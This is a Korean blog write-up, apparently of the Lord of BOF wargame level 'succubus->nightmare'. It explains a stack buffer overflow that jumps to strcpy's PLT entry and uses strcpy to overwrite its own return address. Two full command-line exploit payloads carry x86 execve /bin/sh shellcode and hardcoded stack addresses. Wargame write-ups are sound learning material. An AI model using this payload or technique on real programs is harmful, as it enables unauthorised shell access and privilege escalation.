LOB_18.succubus->nightmare

해킹/LOB 2016. 2. 3. 16:49


이전 문제들과 크게 다르지는 않지만 strcpy함수를 공격해야한다는 점, plt 주소를 사용한다는 점이 조금은 다르다.

plt주소는 공유라이브러리를 사용하기 위해서 존재하는데 자세한 설명은 http://satanel001.tistory.com/29에 got overwrite를 설명하면서 적어놨던 것 같다.


중간에 check adress부분처럼 &strcpy 이런식으로 주소를 가져오면 addr에는 plt 주소가 들어가게 되는 모양이다.




objdump의 -S 옵션을 사용하면 이렇게 plt라는 테이블의 시작주소를 얻을 수 있다.




그러고나서 gdb로 plt를 훑어보니 strcpy의 plt 주소가 나온다. 물론 프로그램을 실행시킨 다음 메모리에 있는 값을 봐도 똑같이 주소를 얻을 수 있다.

프로그램의 addr check 부분을 넘어가기 위해서 이 주소로 점프해야한다.

딱히 특이한 것은 없고 이주소로 점프하면 got나 dl runtime resolve를 통해서 공유 라이브러리에 있는 실제 strcpy의 주소로 넘어가게 된다.



우선 그렇게 리턴할 주소는 정해졌고... 프로그램을 보니 리턴주소 다음 4바이트를 "AAAA"로 덮도록 해놨다. strcpy가 그냥 종료되면서 자연스럽게 다른 주소로 점프되는 것을 막고 strcpy의 기능을 이용해서 strcpy의 리턴주소를 다시 덮으라는 의미인듯 하다.


strcpy(char* destination, const char* source) 이런식으로 호출되는 함수이므로 ebp+8에 destination의 주소, ebp+12에 source의 주소가 들어갈 것이다.

데스티네이션으로는 strcpy의 리턴 주소를 주고, 덮을 내용이 담긴 주소를 source로 줘서 리턴주소를 다시 덮어줄 수 있다.





./nightmare `python -c 'print "a"*44+"\x10\x84\x04\x08"+"AAAA"+"dddd"+"ssss"+"rrrr"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


이런식으로 코어파일을 만들어줬다.

AAAA가 들어갈 부분에는 미리 AAAA를 넣어줬고(strcpy의 리턴주소가 들어갈 자리다.)

dddd는 데스티네이션 주소가 들어갈 부분

ssss는 소스의 주소가 들어갈 부분

rrrr은 리턴주소값이고

뒷부분은 쉘코드이다.

코어파일을 분석해보면



메모리가 이렇게 쓰여있다.

여기서 우선 데스티네이션을 0x64646464 대신 리턴주소가 들어가는 부분인 0xbffffa80을 넣어준다.

그리고 소스로 0x73737373 대신 리턴값(0x72727272)가 시작되는 0xbffffa8c를 넣어준다.

그리고 리턴값을 0x72727272 대신 쉘코드가 시작될 부분을 넣어주면 된다.

그런데 쉘코드가 지금 메모리 상에서는 0xbffffa90에서 시작되지만 strcpy함수가 동작하면서 0x72727272다음에 널바이트가 없으므로 뒤에있는 쉘코드 역시 한 문장으로 인식할 것이다. 그래서 최종적으로 쉘코드의 위치는 리턴주소 다음부분인 0xbffffa84부분이 될 것이다.

이렇게 페이로드를 구성해주면


./nightmare `python -c 'print "a"*44+"\x10\x84\x04\x08"+"AAAA"+"\x80\xfa\xff\xbf"+"\x8c\xfa\xff\xbf"+"\x84\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`





성공이다. plt를 사용하라고는 했는데 무슨 의미가 있는지 모르겠다.

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_20.xavius->death_knight  (0) 2016.02.06
LOB_19.nightmare->xavius  (0) 2016.02.03
LOB_17.zombie_assassin->succubus  (0) 2016.02.01
LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_15.giant->assassin  (0) 2016.01.31
Tags
Social